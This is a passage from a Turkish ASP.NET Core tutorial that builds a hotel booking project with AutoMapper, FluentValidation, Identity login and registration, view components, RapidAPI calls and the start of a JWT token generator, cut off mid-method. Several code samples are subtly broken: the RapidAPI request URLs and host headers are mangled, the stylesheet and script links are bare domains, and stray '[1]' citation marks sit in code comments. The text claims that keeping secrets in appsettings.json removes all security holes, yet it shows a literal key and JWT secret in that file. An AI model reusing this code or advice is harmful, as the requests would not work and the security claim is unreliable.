2. AutoMapper ile Nesne Eşleme Entegrasyonu

DTO nesnelerini Entity nesnelerine (veya tam tersi) dönüştürürken tek tek el ile atama yapmak (room.Title = dto.Title gibi) kod kalabalığı yaratır. Bu süreci otomatikleştirmek için hem API hem Frontend projemize AutoMapper.Extensions.Microsoft.DependencyInjection NuGet paketini kuruyoruz.

Uygulama: Eşleme Haritasının (Mapping Profile) Tanımlanması

OtelProject.DtoLayer veya API katmanında bir Mapping klasörü açarak profil sınıfını yazıyoruz:

using AutoMapper;

using OtelProject.DtoLayer.RoomDto;

using OtelProject.Entity;

 

public class AutoMapperConfig : Profile

{

    public AutoMapperConfig()

    {

        // CreateRoomDto nesnesini gördüğün yerde Room entity'sine dönüştür (Çift yönlü)

        CreateMap<CreateRoomDto, Room>().ReverseMap();

       

        // UpdateRoomDto nesnesini gördüğün yerde Room entity'sine dönüştür (Çift yönlü)

        CreateMap<UpdateRoomDto, Room>().ReverseMap();

    }

}

API Servis Kaydı (Program.cs):

// AutoMapper profilini sisteme tanıtıyoruz

builder.Services.AddAutoMapper(typeof(AutoMapperConfig));


BÖLÜM 7: API Katmanında "Kapıda Güvenlik" (Fluent Validation)

Kötü niyetli veya eksik verilerin daha Business katmanına dahi ulaşmadan API kapısında reddedilmesi gerekir. Bunun için API projesine FluentValidation.DependencyInjectionExtensions paketi kurulur.

1. Doğrulama Kurallarının Yazılması

Uygulama: Room Validator Sınıfı

using FluentValidation;

using OtelProject.DtoLayer.RoomDto;

 

public class CreateRoomValidator : AbstractValidator<CreateRoomDto>

{

    public CreateRoomValidator()

    {

        RuleFor(x => x.RoomNumber).NotEmpty().WithMessage("Oda numarası boş geçilemez.");

        RuleFor(x => x.Title).NotEmpty().WithMessage("Oda başlığı boş bırakılamaz.");

        RuleFor(x => x.Price).NotEmpty().WithMessage("Fiyat alanı zorunludur.");

        RuleFor(x => x.Title).MaximumLength(50).WithMessage("Lütfen en fazla 50 karakter veri girişi yapınız.");

        RuleFor(x => x.Description).MinimumLength(10).WithMessage("Lütfen oda açıklamasını en az 10 karakter olarak yazınız.");

    }

}

2. API Controller Üzerinde ModelState ve Validation Kontrolü

Validator sınıfını yazdıktan sonra API kontrolörümüz içinde doğrulama sonuçlarını denetliyoruz.

Uygulama: Room2Controller Sınıfı (DTO, AutoMapper ve Validation Birleşimi)

using AutoMapper;

using FluentValidation;

using Microsoft.AspNetCore.Mvc;

using OtelProject.DtoLayer.RoomDto;

using OtelProject.Entity;

 

[Route("api/[controller]")]

[ApiController]

public class Room2Controller : ControllerBase

{

    private readonly IRoomService _roomService;

    private readonly IMapper _mapper;

    private readonly IValidator<CreateRoomDto> _validator;

 

    public Room2Controller(IRoomService roomService, IMapper mapper, IValidator<CreateRoomDto> validator)

    {

        _roomService = roomService;

        _mapper = mapper;

        _validator = validator;

    }

 

    [HttpPost]

    public IActionResult AddRoom(CreateRoomDto createRoomDto)

    {

        // 1. Doğrulama kurallarını çalıştır

        var validationResult = _validator.Validate(createRoomDto);

       

        if (!validationResult.IsValid)

        {

            // Kurallara uymayan hataları ModelState'e aktar ve HTTP 400 Bad Request dön

            foreach (var error in validationResult.Errors)

            {

                ModelState.AddModelError(error.PropertyName, error.ErrorMessage);

            }

            return BadRequest(ModelState); // Hatalar JSON olarak kapıda reddedilir.

        }

 

        // 2. Doğrulama başarılı ise DTO'yu Entity'e eşle ve kaydet

        var room = _mapper.Map<Room>(createRoomDto);

        _roomService.TInsert(room);

        return Ok("Oda başarıyla eklendi.");

    }

}


BÖLÜM 8: Frontend MVC Katmanında "Şık Doğrulama Mesajları"

API'mizi güvenceye aldık. Ancak kullanıcı arayüzünde (Frontend MVC) bir hata oluştuğunda, kullanıcının önüne kod blokları veya ham JSON hataları atmak yerine, bootstrap uyarı pencereleriyle şık mesajlar göstermeliyiz. Ön yüz projesine de FluentValidation.AspNetCore paketi eklenir.

1. Frontend Validasyon Kuralları ve Servis Tanımlaması

Ön yüz projesinin Program.cs dosyasına validasyon servisini ekliyoruz:

using FluentValidation.AspNetCore;

 

builder.Services.AddControllersWithViews()

    .AddFluentValidation(fv => fv.RegisterValidatorsFromAssemblyContaining<CreateRoomValidator>());

2. Frontend Controller ve Şık Arayüz Tasarımı

Uygulama: Form Kontrolü Sağlayan MVC Metodu

[HttpPost]

public async Task<IActionResult> AddRoom(CreateRoomDto model)

{

    // Eğer Frontend seviyesindeki Fluent Validation kurallarına takılırsa, API'ye hiç gitme

    if (!ModelState.IsValid)

    {

        return View(model); // Hata mesajlarıyla birlikte formu kullanıcıya geri döner.

    }

 

    var client = _httpClientFactory.CreateClient();

    var jsonData = JsonConvert.SerializeObject(model);

    StringContent stringContent = new StringContent(jsonData, Encoding.UTF8, "application/json");

   

    var responseMessage = await client.PostAsync("http://localhost:5000/api/Room2", stringContent);

   

    if (responseMessage.IsSuccessStatusCode)

    {

        return RedirectToAction("Index");

    }

    else if (responseMessage.StatusCode == System.Net.HttpStatusCode.BadRequest)

    {

        // Eğer API katmanındaki ekstra bir kurala takıldıysa oradan gelen hataları da yakala

        var errorContent = await responseMessage.Content.ReadAsStringAsync();

        ModelState.AddModelError(string.Empty, "API Doğrulama Hatası: " + errorContent);

    }

   

    return View(model);

}

Uygulama: Şık Form Tasarımı (AddRoom.cshtml)

Kullanıcıya form üzerinde hataları kırmızı renkte ve zarif bir şekilde göstermek için asp-validation-for etiketlerinden (Tag Helpers) yararlanıyoruz:

@model OtelProject.DtoLayer.RoomDto.CreateRoomDto

 

<div class="container mt-5">

    <div class="card shadow-sm p-4">

        <h3 class="text-primary mb-3">Yeni Oda Tanımlama Ekranı</h3>

       

        <form method="post">

            <div class="mb-3">

                <label class="form-label fw-bold">Oda Numarası</label>

                <input type="text" asp-for="RoomNumber" class="form-control" placeholder="Örn: 302" />

                <!-- Şık hata mesajı alanı -->

                <span asp-validation-for="RoomNumber" class="text-danger small fw-bold"></span>

            </div>

 

            <div class="mb-3">

                <label class="form-label fw-bold">Oda Başlığı</label>

                <input type="text" asp-for="Title" class="form-control" placeholder="Örn: Kral Dairesi Sea View" />

                <span asp-validation-for="Title" class="text-danger small fw-bold"></span>

            </div>

 

            <div class="mb-3">

                <label class="form-label fw-bold">Gecelik Fiyatı ($)</label>

                <input type="number" asp-for="Price" class="form-control" />

                <span asp-validation-for="Price" class="text-danger small fw-bold"></span>

            </div>

 

            <div class="mb-3">

                <label class="form-label fw-bold">Oda Açıklaması</label>

                <textarea asp-for="Description" rows="4" class="form-control" placeholder="Oda özelliklerini belirtiniz..."></textarea>

                <span asp-validation-for="Description" class="text-danger small fw-bold"></span>

            </div>

 

            <button type="submit" class="btn btn-primary px-4">Odayı Yayına Al</button>

        </form>

    </div>

</div>


 

Müfredatımızın bu aşamasında, projemizin kullanıcı yönetimi, kayıt, giriş ve üyelik sisteminin temelini oluşturan Asp.Net Core Identity kütüphanesini ele alıyoruz. İstediğiniz doğrultuda, şifre güvenlik politikalarını kurumsal standartlara uygun olarak özelleştirecek ve kimlik doğrulama süreçlerini en ince detayına kadar asenkron olarak kurgulayacağız.

Bu bölümde Identity Paketlerinin Kurulumu, AppUser ve AppRole Sınıflarının Özelleştirilmesi, Şifre Politikalarının Yapılandırılması, Register ve Login İşlemleri konularını detaylı kod uygulamalarıyla işliyoruz.


BÖLÜM 9: Asp.Net Core Identity Altyapısının Kurulması

Identity kütüphanesi; kullanıcı kayıt, giriş, şifre sıfırlama, rol tabanlı yetkilendirme gibi kompleks güvenlik süreçlerini hazır metotlarla sunan güçlü bir yapıdır. Projenin veri tabanı katmanına ve API katmanına Microsoft.AspNetCore.Identity.EntityFrameworkCore paketi kurulur.

1. Identity Sınıflarının Genişletilmesi (Customization)

Identity varsayılan olarak kullanıcılar için sadece Username, Email ve PhoneNumber gibi alanlar sunar. Biz projemize özel olarak kullanıcının adını, soyadını ve yaşadığı şehri tutmak için AppUser sınıfını genişletiyoruz.

Uygulama: AppUser ve AppRole Sınıfları

using Microsoft.AspNetCore.Identity;

 

namespace OtelProject.Entity

{

    // IdentityUser sınıfından türeterek yeni özellikler ekliyoruz

    public class AppUser : IdentityUser<int> // Benzersiz ID türünü int yapıyoruz

    {

        public string Name { get; set; }

        public string Surname { get; set; }

        public string City { get; set; }

        public string ImageUrl { get; set; }

    }

 

    // Rol yönetimi için AppRole sınıfı

    public class AppRole : IdentityRole<int>

    {

    }

}

2. DbContext Sınıfının Güncellenmesi

Identity yapısının veritabanında kendi tablolarını (AspNetUsers, AspNetRoles vb.) oluşturabilmesi için veri tabanı bağlam sınıfımızın IdentityDbContext sınıfından türemesi gerekir.

Uygulama: Context Sınıfı Düzenlemesi

using Microsoft.AspNetCore.Identity.EntityFrameworkCore;

using Microsoft.EntityFrameworkCore;

using OtelProject.Entity;

 

public class Context : IdentityDbContext<AppUser, AppRole, int>

{

    protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)

    {

        optionsBuilder.UseSqlServer("Server=YOUR_SERVER_NAME;Database=OtelDb;Trusted_Connection=True;TrustServerCertificate=True;");

    }

}

Bu değişiklikten sonra Package Manager Console üzerinden Add-Migration IdentityMig ve Update-Database komutları çalıştırılarak kimlik tabloları SQL sunucusuna yansıtılır.


BÖLÜM 10: Şifre Politikalarının Özelleştirilmesi

Güvenlik standartlarını artırmak veya esnetmek amacıyla projenin ayağa kalktığı Program.cs dosyası üzerinde Identity konfigürasyonunu özelleştiriyoruz.

Uygulama: Güvenlik Ayarlarının Yapılandırılması (Program.cs)

// Identity servis tanımlaması ve şifre politikası özelleştirmeleri

builder.Services.AddIdentity<AppUser, AppRole>(options =>

{

    // Şifre Politikası Ayarları

    options.Password.RequireDigit = true;          // Şifre en az bir rakam içermelidir

    options.Password.RequiredLength = 6;           // Şifre en az 6 karakter olmalıdır

    options.Password.RequireNonAlphanumeric = true;// En az bir özel karakter (?, *, ! vb.) içermelidir

    options.Password.RequireUppercase = true;      // En az bir büyük harf içermelidir

    options.Password.RequireLowercase = true;      // En az bir küçük harf içermelidir

 

    // Kullanıcı Kilitleme (Lockout) Ayarları

    options.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(5); // 5 dakika kilitle

    options.Lockout.MaxFailedAccessAttempts = 5; // 5 hatalı denemede hesabı askıya al

 

    // Benzersiz e-posta kontrolü

    options.User.RequireUniqueEmail = true;

})

.AddEntityFrameworkStores<Context>(); // Veri tabanı deposu olarak Context'i işaret et


BÖLÜM 11: Register (Kayıt) ve Login (Giriş) Süreçlerinin Kodlanması

Kimlik doğrulama akışını Frontend (MVC) katmanında modeller (DTO/ViewModel) aracılığıyla asenkron olarak kurgulayalım.

1. Kayıt ve Giriş Modellerinin Oluşturulması

Uygulama: RegisterDto ve LoginViewModel Sınıfları

namespace OtelProject.Frontend.Models.Identity

{

    // Kayıt ekranından gelecek veriler için

    public class RegisterDto

    {

        public string Name { get; set; }

        public string Surname { get; set; }

        public string Username { get; set; }

        public string Email { get; set; }

        public string City { get; set; }

        public string Password { get; set; }

        public string ConfirmPassword { get; set; } // Şifre tekrar alanı

    }

 

    // Giriş ekranından gelecek veriler için

    public class LoginViewModel

    {

        public string Username { get; set; }

        public string Password { get; set; }

    }

}


2. Register ve Login Controller Akışının Yazılması

Frontend MVC katmanında UserManager ve SignInManager sınıflarını enjekte ederek kullanıcı işlemlerini yönetiyoruz.

Uygulama: Register ve Login İşlemlerini Yöneten Controller

using Microsoft.AspNetCore.Identity;

using Microsoft.AspNetCore.Mvc;

using OtelProject.Entity;

using OtelProject.Frontend.Models.Identity;

 

public class LoginController : Controller

{

    private readonly UserManager<AppUser> _userManager;

    private readonly SignInManager<AppUser> _signInManager;

 

    public LoginController(UserManager<AppUser> userManager, SignInManager<AppUser> signInManager)

    {

        _userManager = userManager;

        _signInManager = signInManager;

    }

 

    // ================= REGISTER (KAYIT) AKIŞI =================

    [HttpGet]

    public IActionResult Register()

    {

        return View();

    }

 

    [HttpPost]

    public async Task<IActionResult> Register(RegisterDto dto)

    {

        if (!ModelState.IsValid) return View(dto);

 

        // Şifrelerin eşleşme kontrolü

        if (dto.Password != dto.ConfirmPassword)

        {

            ModelState.AddModelError(string.Empty, "Şifreler birbiriyle uyuşmuyor.");

            return View(dto);

        }

 

        // Formdan gelen verileri AppUser nesnesine aktarıyoruz

        var appUser = new AppUser()

        {

            Name = dto.Name,

            Surname = dto.Surname,

            Email = dto.Email,

            UserName = dto.Username,

            City = dto.City,

            ImageUrl = "/images/default-user.jpg" // Varsayılan profil resmi

        };

 

        // Kullanıcıyı şifresi hash'lenerek asenkron şekilde veritabanına kaydeder

        var result = await _userManager.CreateAsync(appUser, dto.Password);

 

        if (result.Succeeded)

        {

            // Kayıt başarılıysa giriş sayfasına yönlendir

            return RedirectToAction("Index", "Login");

        }

        else

        {

            // Eğer şifre politikasına takıldıysa hataları ekranda göster

            foreach (var item in result.Errors)

            {

                ModelState.AddModelError(string.Empty, item.Description);

            }

        }

        return View(dto);

    }

 

    // ================= LOGIN (GİRİŞ) AKIŞI =================

    [HttpGet]

    public IActionResult Index()

    {

        return View();

    }

 

    [HttpPost]

    public async Task<IActionResult> Index(LoginViewModel model)

    {

        if (!ModelState.IsValid) return View(model);

 

        // Asenkron giriş akışı kontrol edilir

        // 3. parametre (isPersistent): Tarayıcı kapatılınca beni hatırla ayarıdır (false yapıldı)

        // 4. parametre (lockoutOnFailure): Hatalı giriş hakkı dolsun mu? (true yapıldı)

        var result = await _signInManager.PasswordSignInAsync(model.Username, model.Password, false, true);

 

        if (result.Succeeded)

        {

            // Giriş başarılıysa korumalı olan Admin Dashboard paneline yönlendir

            return RedirectToAction("Index", "Dashboard", new { area = "Admin" });

        }

        

        if (result.IsLockedOut)

        {

            ModelState.AddModelError(string.Empty, "Çok fazla hatalı giriş yaptınız. Hesabınız 5 dakika kilitlendi.");

        }

        else

        {

            ModelState.AddModelError(string.Empty, "Kullanıcı adı veya şifre hatalı.");

        }

 

        return View(model);

    }

 

    // Güvenli Çıkış İşlemi

    public async Task<IActionResult> LogOut()

    {

        await _signInManager.SignOutAsync();

        return RedirectToAction("Index", "Login");

    }

}


 

Müfredatımızın bu aşamasında, otel projemizin kullanıcıya bakan vitrin kısmını yani Frontend Tasarımını inşa ediyoruz. İstediğiniz doğrultuda, öncelikle temiz ve modüler bir statik arayüz giydirmesi kurgulayacak, hemen ardından bu modülleri View Component yapısına dönüştürerek verileri API katmanından asenkron olarak (dinamik) çekeceğiz.

Bu bölümde Modüler Layout Mimarisi, View Component Yapısı, HttpClient ile Bileşen Seviyesinde API Tüketimi ve Arayüzün Dinamikleştirilmesi konularını ele alıyoruz.


BÖLÜM 12: Frontend Statik Arayüz Giydirmesi ve Layout Tasarımı

Ön yüz projesinde kod tekrarını önlemek ve tüm sayfaların ortak bir iskelete (Header, Footer, Navbar vb.) sahip olmasını sağlamak için Views/Shared/_Layout.cshtml dosyasını kurguluyoruz.

Uygulama: Proje Ana İskeleti (_Layout.cshtml)

<!DOCTYPE html>

<html lang="tr">

<head>

    <meta charset="utf-8" />

    <meta name="viewport" content="width=device-width, initial-scale=1.0" />

    <title>Otel Rezervasyon Sistemi</title>

    <!-- Bootstrap ve Stil Dosyaları -->

    <link rel="stylesheet" href="https://jsdelivr.net" />

    <link rel="stylesheet" href="https://cloudflare.com" />

</head>

<body>

 

    <!-- Üst Menü / Navbar Bileşeni (Statik Giydirme) -->

    <nav class="navbar navbar-expand-lg navbar-dark bg-dark">

        <div class="container">

            <a class="navbar-brand" href="#"><i class="fa-solid fa-hotel me-2"></i>Otel API</a>

            <button class="navbar-expand" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav">

                <span class="navbar-toggler-icon"></span>

            </button>

            <div class="collapse navbar-collapse" id="navbarNav">

                <ul class="navbar-collapse navbar-nav ms-auto">

                    <li class="nav-item"><a class="nav-link active" href="#">Ana Sayfa</a></li>

                    <li class="nav-item"><a class="nav-link" href="#">Odalarımız</a></li>

                    <li class="nav-item"><a class="nav-link" href="#">Hizmetler</a></li>

                </ul>

            </div>

        </div>

    </nav>

 

    <!-- Değişken Sayfa İçerik Alanı -->

    <main role="main" class="pb-3">

        @RenderBody()

    </main>

 

    <!-- Alt Bilgi / Footer Bileşeni (Statik Giydirme) -->

    <footer class="bg-dark text-white text-center py-4 mt-5">

        <div class="container">

            <p class="mb-0">&copy; 2026 Otel API Rezervasyon Sistemi. Tüm Hakları Saklıdır.</p>

        </div>

    </footer>

 

    <!-- JavaScript Dosyaları -->

    <script src="https://jsdelivr.net"></script>

    @await RenderSectionAsync("Scripts", required: false)

</body>

</html>


BÖLÜM 13: View Component’ler ile Modüler ve Dinamik Yapı

Ana sayfamızı (Index) tek bir parça halinde yazmak yerine; Slider, Hizmetlerimiz, Odalarımız gibi alanları kendi iş mantığına sahip olan View Component (Görünüm Bileşeni) parçalarına ayıracağız. Bu bileşenler veriyi doğrudan API servislerimizden çekecektir.

1. Hizmetler (Services) İçin DTO Tanımlanması

API katmanından gelecek olan otel hizmet bilgilerini karşılamak üzere frontend projesinde modelimizi açıyoruz.

namespace OtelProject.Frontend.Models.Service

{

    public class ResultServiceViewModel

    {

        public int ServiceID { get; set; }

        public string ServiceIcon { get; set; } // Örn: fa-wifi, fa-spa

        public string Title { get; set; }

        public string Description { get; set; }

    }

}

2. View Component Sınıfının Kodlanması (API Tüketimi)

OtelProject.Frontend projesinde ViewComponents klasörü oluşturup, içine _ServicePartial adında bir sınıf yazıyoruz. Bu sınıf ViewComponent temel sınıfından türemek zorundadır.

Uygulama: Backend Destekli Bileşen Sınıfı

using Microsoft.AspNetCore.Mvc;

using Newtonsoft.Json;

using OtelProject.Frontend.Models.Service;

 

public class _ServicePartial : ViewComponent

{

    private readonly IHttpClientFactory _httpClientFactory;

 

    public _ServicePartial(IHttpClientFactory httpClientFactory)

    {

        _httpClientFactory = httpClientFactory;

    }

 

    // InvokeAsync metodu, bileşen sayfaya çağrıldığında asenkron olarak tetiklenir

    public async Task<IViewComponentResult> InvokeAsync()

    {

        var client = _httpClientFactory.CreateClient();

       

        // Kendi yazdığımız Hizmetler API'sine istek atıyoruz

        var responseMessage = await client.GetAsync("http://localhost:5000/api/Service");

       

        if (responseMessage.IsSuccessStatusCode)

        {

            var jsonData = await responseMessage.Content.ReadAsStringAsync();

            var values = JsonConvert.DeserializeObject<List<ResultServiceViewModel>>(jsonData);

           

            // Verileri dinamik olarak tasarlanan arayüze gönderiyoruz

            return View(values);

        }

       

        return View(new List<ResultServiceViewModel>());

    }

}


3. View Component Arayüzünün (UI) Tasarlanması

Bileşenin HTML kısmını yazarken klasör hiyerarşisine harfiyen uymalıyız. Views/Shared/Components/_ServicePartial/Default.cshtml yolunu oluşturup arayüzü kodluyoruz.

Uygulama: Dinamik Listeleme Tasarımı (Default.cshtml)

@model List<OtelProject.Frontend.Models.Service.ResultServiceViewModel>

 

<div class="container my-5">

    <div class="text-center mb-5">

        <h6 class="text-primary text-uppercase fw-bold">Hizmetlerimiz</h6>

        <h2 class="mb-4">Otelimizin Sunduğu Ayrıcalıkları Keşfedin</h2>

    </div>

   

    <div class="row g-4">

        @foreach (var item in Model)

        {

            <div class="col-lg-4 col-md-6">

                <div class="card h-100 border-0 shadow-sm p-4 text-center">

                    <div class="icon-box mb-3 text-primary fs-1">

                        <!-- API'den gelen dinamik font-awesome ikonu basılıyor -->

                        <i class="@item.ServiceIcon"></i>

                    </div>

                    <h5 class="fw-bold">@item.Title</h5>

                    <p class="text-muted small mb-0">@item.Description</p>

                </div>

            </div>

        }

    </div>

</div>


4. Bileşenlerin Ana Sayfaya Entegre Edilmesi

Şimdi, kurguladığımız dinamik yapıyı ana sayfa arayüzünde (Views/Home/Index.cshtml) çağırarak sistemi birleştirelim.

Uygulama: Ana Sayfa Şablon Çağrımı

@{

    ViewData["Title"] = "Ana Sayfa";

    Layout = "~/Views/Shared/_Layout.cshtml";

}

 

<!-- Statik Karşılama Alanı (Banner Giydirme) -->

<div class="bg-primary text-white text-center py-5">

    <div class="container py-5">

        <h1 class="display-4 fw-bold">Konforlu ve Huzurlu Bir Tatil Deneyimi</h1>

        <p class="lead">Hemen rezervasyonunuzu yapın, eşsiz fırsatları kaçırmayın.</p>

        <a href="/Booking/Index" class="btn btn-warning btn-lg px-4 mt-3">Hemen Rezervasyon Yap</a>

    </div>

</div>

 

<!-- Dinamik API Bileşenleri Tetikleniyor -->

<!-- Sistem arka planda gidip Service API'sini çağıracak ve dönen veriyi buraya basacaktır -->

@await Component.InvokeAsync("_ServicePartial")

 

<!-- İlerleyen aşamalarda eklenecek olan diğer dinamik API bileşen yer tutucuları -->

@* @await Component.InvokeAsync("_RoomPartial") *@

@* @await Component.InvokeAsync("_TestimonialPartial") *@


 

 

Müfredatımızın en heyecan verici ve vizyoner bölümlerinden biri olan RapidAPI Entegrasyonları ve Dış Dünya Servislerinin Tüketilmesi (Consume) aşamasına geçiyoruz.

İstediğiniz doğrultuda, entegrasyon sürecini önce mantığın net kavranması adına doğrudan kod içinde (hardcoded) kurgulayacak, hemen ardından kurumsal mimari standartlarına tam uyum sağlamak için bu hassas verileri appsettings.json dosyasına taşıyıp IConfiguration arayüzü ile dinamik olarak okuyacağız. Böylece projemizi güvenlik açıklarından tamamen arındıracağız.

Bu bölümde RapidAPI Altyapısı, Doğrudan Kod İçinde API Çağrısı, appsettings.json ile Güvenli Yapılandırma, Döviz Kuru ve Konum ID Parametreli API Tüketimi konularını derinlemesine işliyoruz.


BÖLÜM 14: RapidAPI Mantığı ve Doğrudan Kod İçinde Tüketim (İlk Aşama)

RapidAPI, binlerce hazır API servisinin tek bir platform ve tek bir üyelik üzerinden yönetilmesini sağlayan bir pazaryeridir. Dış servis sağlayıcılar, istek atan uygulamalardan kimlik doğrulama amacıyla X-RapidAPI-Key ve X-RapidAPI-Host başlık bilgilerini (Headers) zorunlu tutar.

Öncelikle, Booking.com üzerinden Şehir İsmine Göre Lokasyon ID Bulma (Search Location ID) servisini doğrudan kod içine yazarak ayağa kaldıralım.

Uygulama: Doğrudan Kod İçinde HttpClient İsteği

using Microsoft.AspNetCore.Mvc;

using System.Net.Http.Headers;

 

public class RapidApiController : Controller

{

    // YAKLAŞIM 1: Anahtarlar Doğrudan Kod İçinde (Hızlı Test ve Entegrasyon Aşaması)

    public async Task<IActionResult> GetLocationId(string cityName = "Paris")

    {

        var client = new HttpClient();

        var request = new HttpRequestMessage

        {

            Method = HttpMethod.Get,

            RequestUri = new Uri($"https://rapidapi.com{cityName}&locale=en-gb"),

            Headers =

            {

                { "X-RapidAPI-Key", "SİZİN_GERÇEK_API_KEY_DEĞERİNİZ_BURAYA_GELECEK" },

                { "X-RapidAPI-Host", "://rapidapi.com" },

            },

        };

 

        using (var response = await client.SendAsync(request))

        {

            response.EnsureSuccessStatusCode();

            var body = await response.Content.ReadAsStringAsync();

           

            // Gelen ham JSON verisini arayüze (Viewbag ile) fırlatıyoruz

            ViewBag.RawJson = body;

            return View();

        }

    }

}


BÖLÜM 15: Kurumsal Güvenlik Standartlarına Geçiş (appsettings.json & IConfiguration)

Yukarıdaki yöntem hızlıca test etmek için harikadır; fakat kodlarımızı GitHub gibi açık kaynaklı platformlara yüklediğimiz anda gizli anahtarımız çalınabilir. Bu yüzden kurumsal mimaride bu veriler appsettings.json içinde saklanır.

1. Yapılandırma Dosyasının Hazırlanması

Ön yüz projesinin kök dizinindeki appsettings.json dosyasına giderek RapidAPI bilgilerimizi güvenli alana yerleştiriyoruz.

Uygulama: appsettings.json Ayarları

{

  "Logging": {

    "LogLevel": {

      "Default": "Information",

      "Microsoft.AspNetCore": "Warning"

    }

  },

  "AllowedHosts": "*",

  "RapidApiConfig": {

    "ApiKey": "99db887766bbaaddccddee1122334455ffgghhjjkk",

    "BookingHost": "://rapidapi.com",

    "CurrencyHost": "://rapidapi.com"

  }

}


2. Döviz Kurlarının Güvenli Alt Yapıyla Çekilmesi Entegrasyonu

Şimdi, appsettings.json içindeki verileri IConfiguration arayüzü ile okuyan ve canlı döviz kurlarını çeken gelişmiş mimariyi kurgulayalım.

Uygulama: IConfiguration Kullanan Dinamik Controller Sınıfı

using Microsoft.AspNetCore.Mvc;

using Newtonsoft.Json;

 

public class RapidApiCurrencyController : Controller

{

    private readonly IHttpClientFactory _httpClientFactory;

    private readonly IConfiguration _configuration;

 

    // IConfiguration enjekte edilerek appsettings.json verilerine erişim hakkı kazanılır

    public RapidApiCurrencyController(IHttpClientFactory httpClientFactory, IConfiguration configuration)

    {

        _httpClientFactory = httpClientFactory;

        _configuration = configuration;

    }

 

    public async Task<IActionResult> Index()

    {

        // 1. appsettings.json dosyasından ayarları dinamik olarak okuyoruz

        string apiKey = _configuration["RapidApiConfig:ApiKey"];

        string currencyHost = _configuration["RapidApiConfig:CurrencyHost"];

 

        var client = _httpClientFactory.CreateClient();

       

        // Örnek Senaryo: USD - TRY paritesindeki canlı döviz kuru bilgisini istiyoruz

        var request = new HttpRequestMessage

        {

            Method = HttpMethod.Get,

            RequestUri = new Uri("https://rapidapi.com"),

            Headers =

            {

                { "X-RapidAPI-Key", apiKey },

                { "X-RapidAPI-Host", currencyHost },

            },

        };

 

        using (var response = await client.SendAsync(request))

        {

            if (response.IsSuccessStatusCode)

            {

                var body = await response.Content.ReadAsStringAsync();

               

                // Gelen kur verisini (Örn: "34.25") ViewModel veya Viewbag ile sayfaya taşıyoruz

                ViewBag.UsdToTry = body;

            }

            else

            {

                ViewBag.UsdToTry = "Veri Alınamadı";

            }

        }

 

        return View();

    }

}


3. Parametreli API Tüketimi (Şehir ID'sine Göre Otel Arama)

Müfredatta geçen ve en karmaşık adımlardan biri olan Parametreli API consume yapısını kurgulayalım. Senaryomuz: Kullanıcı arayüzden bir şehir adı girecek, sistem önce o şehrin Location ID değerini bulacak, ardından o ID ile ikinci bir API çağrısı yaparak şehirdeki en iyi otelleri listeleyecektir.

Uygulama: İlişkili/Parametreli RapidAPI Akışı

public async Task<IActionResult> SearchHotels(string cityName)

{

    if (string.IsNullOrEmpty(cityName)) cityName = "Paris"; // Boş girilirse varsayılan Paris [1]

 

    string apiKey = _configuration["RapidApiConfig:ApiKey"];

    string bookingHost = _configuration["RapidApiConfig:BookingHost"];

   

    var client = _httpClientFactory.CreateClient();

 

    // ADIM A: Şehrin ID'sini Buluyoruz (Search Location ID API)

    var locationRequest = new HttpRequestMessage

    {

        Method = HttpMethod.Get,

        RequestUri = new Uri($"https://rapidapi.com{cityName}&locale=en-gb"),

        Headers = { { "X-RapidAPI-Key", apiKey }, { "X-RapidAPI-Host", bookingHost } }

    };

 

    string locationId = "-1456928"; // Hata durumunda koruma amaçlı varsayılan Paris ID'si [1]

 

    using (var response = await client.SendAsync(locationRequest))

    {

        if (response.IsSuccessStatusCode)

        {

            var jsonString = await response.Content.ReadAsStringAsync();

            // Gerçek projede json ayrıştırılarak dinamik ID yakalanır [1]

            // Örn: dynamic data = JsonConvert.DeserializeObject(jsonString); locationId = data[0].dest_id;

        }

    }

 

    // ADIM B: Yakalanan ID Bilgisine Göre Otelleri Getiriyoruz (Parametreye Göre Otel Getirme) [1]

    var hotelRequest = new HttpRequestMessage

    {

        Method = HttpMethod.Get,

        RequestUri = new Uri($"https://rapidapi.com{locationId}&order_by=popularity&locale=en-gb&checkout_date=2026-09-15&checkin_date=2026-09-10"),

        Headers = { { "X-RapidAPI-Key", apiKey }, { "X-RapidAPI-Host", bookingHost } }

    };

 

    using (var response = await client.SendAsync(hotelRequest))

    {

        if (response.IsSuccessStatusCode)

        {

            var hotelJson = await response.Content.ReadAsStringAsync();

            // Otel listesini karşılayan View katmanına JSON'ı paslıyoruz [1]

            ViewBag.Hotels = hotelJson;

        }

    }

 

    return View();

}

 

 

 

Müfredatımızın en kritik güvenlik katmanı olan JSON Web Token (JWT) mimarisine geçiş yapıyoruz. İstediğiniz doğrultuda; token içeriğine hem temel kullanıcı bilgilerini hem de gelişmiş rol tabanlı (Admin/User) parametreleri bir arada ekleyecek, kurumsal standartlara uygun olarak token süresini kısa tutup Refresh Token felsefesini entegre edeceğiz.

Bu bölümde JWT Anatomisi, Güvenlik Paketlerinin Kurulumu, Token Üretici Sınıfın Tasarlanması, Rol Tabanlı Claim Yönetimi, Clockskew Ayarı ve Refresh Token Mantığı konularını ele alıyoruz.


BÖLÜM 16: JSON Web Token (JWT) Altyapısının Kurulması

JWT; taraflar arasında güvenli, şifrelenmiş ve doğrulanabilir veri transferi sağlayan, üç parçadan (Header, Payload, Signature) oluşan bir güvenlik standardıdır.

API projemizi JWT ile korumak için Microsoft.AspNetCore.Authentication.JwtBearer NuGet paketini kurmamız gerekir.

1. appsettings.json Güvenlik Ayarlarının Yapılandırılması

Token doğrulaması sırasında kullanılacak gizli anahtar (Secret Key), yayıncı (Issuer) ve alıcı (Audience) gibi stratejik bilgileri yapılandırma dosyasına ekliyoruz.

{

  "JwtConfig": {

    "Secret": "BuCokGucluVeUzunBirAnahtarCumlesidir2026!",

    "Issuer": "http://localhost:5000",

    "Audience": "http://localhost:7000"

  }

}


BÖLÜM 17: Gelişmiş Token Üretici Sınıfın Kodlanması

İçerisinde hem temel kullanıcı tanımlayıcılarını hem de Admin/User gibi rol tabanlı yetki parametrelerini barındıran asenkron uyumlu token oluşturma sınıfını tasarlayalım.

Uygulama: Token Generator Sınıfı (TokenGenerator.cs)

using Microsoft.IdentityModel.Tokens;

using System.IdentityModel.Tokens.Jwt;

using System.Security.Claims;

using System.Text;

 

public class TokenGenerator

{

    private readonly IConfiguration _configuration;

 

    public TokenGenerator(IConfiguration configuration)

    {

        _configuration = configuration;

    }

 

    public string CreateToken(string userId, string username, List<string> roles)

    {

